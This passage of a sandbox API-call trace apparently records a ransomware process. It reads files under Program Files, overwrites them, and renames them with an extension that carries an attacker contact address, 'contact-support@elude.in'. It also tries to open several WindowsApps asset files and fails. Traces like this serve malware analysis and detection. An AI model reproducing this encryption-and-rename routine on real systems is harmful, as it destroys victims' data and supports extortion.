Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-TW\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\zh-tw\\toastbeginupgrade.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0226.054] CloseHandle (hObject=0x4e8) returned 1 [0226.054] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x433ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0226.054] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-TW\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\zh-tw\\toastbeginupgrade.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-TW\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\zh-tw\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0226.115] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x433ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0226.115] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-TW\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x433fc6c | out: lpFindFileData=0x433fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94cf0533, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x94cf0533, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x222, dwReserved0=0x2d0064, dwReserved1=0x390031, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d5380 [0226.115] FindClose (in: hFindFile=0x6d5380 | out: hFindFile=0x6d5380) returned 1 [0226.115] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-TW\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\zh-tw\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0226.116] GetProcessHeap () returned 0x630000 [0226.116] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x241) returned 0x6405b0 [0226.116] GetProcessHeap () returned 0x630000 [0226.116] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x241) returned 0x674b40 [0226.116] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.116] ReadFile (in: hFile=0x4e8, lpBuffer=0x6405b0, nNumberOfBytesToRead=0x220, lpNumberOfBytesRead=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6405b0*, lpNumberOfBytesRead=0x433ff0c*=0x220, lpOverlapped=0x0) returned 1 [0226.124] GetProcessHeap () returned 0x630000 [0226.124] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7176b10 [0226.124] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.124] WriteFile (in: hFile=0x4e8, lpBuffer=0x674b40*, nNumberOfBytesToWrite=0x220, lpNumberOfBytesWritten=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x674b40*, lpNumberOfBytesWritten=0x433ff0c*=0x220, lpOverlapped=0x0) returned 1 [0226.124] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.124] WriteFile (in: hFile=0x4e8, lpBuffer=0x674d5f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x674d5f*, lpNumberOfBytesWritten=0x433ff0c*=0x20, lpOverlapped=0x0) returned 1 [0226.124] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.124] WriteFile (in: hFile=0x4e8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x433ff0c*=0x4, lpOverlapped=0x0) returned 1 [0226.125] CloseHandle (hObject=0x4e8) returned 1 [0226.125] GetProcessHeap () returned 0x630000 [0226.125] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x674b40 | out: hHeap=0x630000) returned 1 [0226.125] GetProcessHeap () returned 0x630000 [0226.125] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6405b0 | out: hHeap=0x630000) returned 1 [0226.125] GetProcessHeap () returned 0x630000 [0226.125] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7176b10 | out: hHeap=0x630000) returned 1 [0226.125] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x433ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0226.125] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-TW\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x433fcc4 | out: lpFindFileData=0x433fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94cf0533, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x94cf0533, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4cbaf221, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x246, dwReserved0=0xb1c7496, dwReserved1=0x6405a8, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d5440 [0226.125] FindClose (in: hFindFile=0x6d5440 | out: hFindFile=0x6d5440) returned 1 [0226.125] Sleep (dwMilliseconds=0x1) [0226.139] SysReAllocStringLen (in: pbstr=0x433ff7c*=0x0, psz="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.009.etl", len=0x3f | out: pbstr=0x433ff7c*="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.009.etl") returned 1 [0226.139] GetProcessHeap () returned 0x630000 [0226.139] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x51ac) returned 0x6fe3bb0 [0226.139] CreateFileW (lpFileName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.009.etl" (normalized: "c:\\program files\\unp\\logs\\universalnotificationplatform.009.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0226.140] CloseHandle (hObject=0x3f8) returned 1 [0226.140] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x433ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0226.141] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.009.etl" (normalized: "c:\\program files\\unp\\logs\\universalnotificationplatform.009.etl"), lpNewFileName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.009.etl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\logs\\universalnotificationplatform.009.etl.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0226.142] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x433ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0226.142] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.009.etl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x433fc6c | out: lpFindFileData=0x433fc6c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd3f87c1, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x86f819e6, ftLastAccessTime.dwHighDateTime=0x1d336d7, ftLastWriteTime.dwLowDateTime=0x885ec92b, ftLastWriteTime.dwHighDateTime=0x1d336d7, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniversalNotificationPlatform.009.etl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="UNIVER~3.FIR")) returned 0x6d4f40 [0226.142] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0226.142] CreateFileW (lpFileName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.009.etl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\logs\\universalnotificationplatform.009.etl.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0226.143] GetProcessHeap () returned 0x630000 [0226.143] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x71c0048 [0226.143] GetProcessHeap () returned 0x630000 [0226.143] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x70a7c70 [0226.144] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.144] ReadFile (in: hFile=0x3f8, lpBuffer=0x71c0048, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71c0048*, lpNumberOfBytesRead=0x433ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0232.971] GetProcessHeap () returned 0x630000 [0232.972] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7177718 [0232.972] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.972] WriteFile (in: hFile=0x3f8, lpBuffer=0x70a7c70*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70a7c70*, lpNumberOfBytesWritten=0x433ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0233.592] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.592] WriteFile (in: hFile=0x3f8, lpBuffer=0x70b306f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70b306f*, lpNumberOfBytesWritten=0x433ff0c*=0x20, lpOverlapped=0x0) returned 1 [0234.348] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.348] WriteFile (in: hFile=0x3f8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x433ff0c*=0x4, lpOverlapped=0x0) returned 1 [0234.349] CloseHandle (hObject=0x3f8) returned 1 [0236.955] GetProcessHeap () returned 0x630000 [0236.955] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70a7c70 | out: hHeap=0x630000) returned 1 [0236.955] GetProcessHeap () returned 0x630000 [0236.955] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71c0048 | out: hHeap=0x630000) returned 1 [0236.955] GetProcessHeap () returned 0x630000 [0236.955] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7177718 | out: hHeap=0x630000) returned 1 [0236.955] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x433ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0236.998] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.009.etl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x433fcc4 | out: lpFindFileData=0x433fcc4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd3f87c1, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x86f819e6, ftLastAccessTime.dwHighDateTime=0x1d336d7, ftLastWriteTime.dwLowDateTime=0x51a18c1c, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x20024, dwReserved0=0xb1c7496, dwReserved1=0x71c0040, cFileName="UniversalNotificationPlatform.009.etl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="UNIVER~3.FIR")) returned 0x6d51c0 [0236.998] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0236.998] Sleep (dwMilliseconds=0x1) [0239.282] SysReAllocStringLen (in: pbstr=0x433ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterWideTile.scale-100_contrast-black.png", len=0x7c | out: pbstr=0x433ff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterWideTile.scale-100_contrast-black.png") returned 1 [0239.282] GetProcessHeap () returned 0x630000 [0239.282] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5150) returned 0x6fe3bb0 [0239.282] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterWideTile.scale-100_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twitterwidetile.scale-100_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0239.282] Sleep (dwMilliseconds=0x1) [0241.236] SysReAllocStringLen (in: pbstr=0x433ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\TextureBitmaps\\canvas.jpg", len=0x71 | out: pbstr=0x433ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\TextureBitmaps\\canvas.jpg") returned 1 [0241.236] GetProcessHeap () returned 0x630000 [0241.236] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x53b8) returned 0x6fe3bb0 [0241.237] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\TextureBitmaps\\canvas.jpg" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\texturebitmaps\\canvas.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0241.239] Sleep (dwMilliseconds=0x1) [0241.250] SysReAllocStringLen (in: pbstr=0x433ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\TextureBitmaps\\brmarble.jpg", len=0x73 | out: pbstr=0x433ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\TextureBitmaps\\brmarble.jpg") returned 1 [0241.250] GetProcessHeap () returned 0x630000 [0241.250] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x53b4) returned 0x6fe3bb0 [0241.251] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\TextureBitmaps\\brmarble.jpg" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\texturebitmaps\\brmarble.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0241.253] Sleep (dwMilliseconds=0x1) [0241.266] SysReAllocStringLen (in: pbstr=0x433ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\TextureBitmaps\\bltissue.jpg", len=0x73 | out: pbstr=0x433ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\TextureBitmaps\\bltissue.jpg") returned 1 [0241.266] GetProcessHeap () returned 0x630000 [0241.266] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x53ac) returned 0x6fe3bb0 [0241.267] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\TextureBitmaps\\bltissue.jpg" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\texturebitmaps\\bltissue.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0241.269] Sleep (dwMilliseconds=0x1) [0241.282] SysReAllocStringLen (in: pbstr=0x433ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\ScanIcon_contrast-black.png", len=0x73 | out: pbstr=0x433ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\ScanIcon_contrast-black.png") returned 1 [0241.282] GetProcessHeap () returned 0x630000 [0241.282] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x53a4) returned 0x6fe3bb0 [0241.282] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\ScanIcon_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\scanicon_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0241.316] Sleep (dwMilliseconds=0x1) [0241.351] SysReAllocStringLen (in: pbstr=0x433ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Office\\ResetCoord.scale-100.png", len=0x77 | out: pbstr=0x433ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Office\\ResetCoord.scale-100.png") returned 1 [0241.351] GetProcessHeap () returned 0x630000 [0241.351] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5374) returned 0x6fe3bb0 [0241.352] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Office\\ResetCoord.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\office\\resetcoord.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0241.353] Sleep (dwMilliseconds=0x1) [0241.361] SysReAllocStringLen (in: pbstr=0x433ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Office\\ProjectionCylindric.scale-100.png", len=0x80 | out: pbstr=0x433ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Office\\ProjectionCylindric.scale-100.png") returned 1 [0241.361] GetProcessHeap () returned 0x630000 [0241.361] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5368) returned 0x6fe3bb0 [0241.362] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Office\\ProjectionCylindric.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\office\\projectioncylindric.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0241.366] Sleep (dwMilliseconds=0x1) [0241.390] SysReAllocStringLen (in: pbstr=0x433ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Office\\EmbossText.scale-100.png", len=0x77 | out: pbstr=0x433ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Office\\EmbossText.scale-100.png") returned 1 [0241.390] GetProcessHeap () returned 0x630000 [0241.390] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x533c) returned 0x6fe3bb0 [0241.390] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Office\\EmbossText.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\office\\embosstext.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0241.393] Sleep (dwMilliseconds=0x1) [0241.410] SysReAllocStringLen (in: pbstr=0x433ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Office\\DeselectAll.scale-100.png", len=0x78 | out: pbstr=0x433ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Office\\DeselectAll.scale-100.png") returned 1 [0241.410] GetProcessHeap () returned 0x630000 [0241.411] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5330) returned 0x6fe3bb0 [0241.411] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Office\\DeselectAll.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\office\\deselectall.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0241.415] Sleep (dwMilliseconds=0x1) [0243.057] SysReAllocStringLen (in: pbstr=0x433ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources\\DefaultCurrencyLoc.json", len=0x75 | out: pbstr=0x433ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources\\DefaultCurrencyLoc.json") returned 1 [0243.057] GetProcessHeap () returned 0x630000 [0243.057] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x547c) returned 0x6fe3bb0 [0243.057] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources\\DefaultCurrencyLoc.json" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\jsonresources\\defaultcurrencyloc.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.059] Sleep (dwMilliseconds=0x1) [0243.063] SysReAllocStringLen (in: pbstr=0x433ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Configuration\\configuration.sqlite", len=0x72 | out: pbstr=0x433ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Configuration\\configuration.sqlite") returned 1 [0243.063] GetProcessHeap () returned 0x630000 [0243.063] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5470) returned 0x6fe3bb0 [0243.063] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Configuration\\configuration.sqlite" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\configuration\\configuration.sqlite"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.071] Sleep (dwMilliseconds=0x1) [0243.086] SysReAllocStringLen (in: pbstr=0x433ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Money_LogoSmall.targetsize-24.png", len=0x90 | out: pbstr=0x433ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Money_LogoSmall.targetsize-24.png") returned 1 [0243.086] GetProcessHeap () returned 0x630000 [0243.086] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x541c) returned 0x6fe3bb0 [0243.086] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Money_LogoSmall.targetsize-24.png" 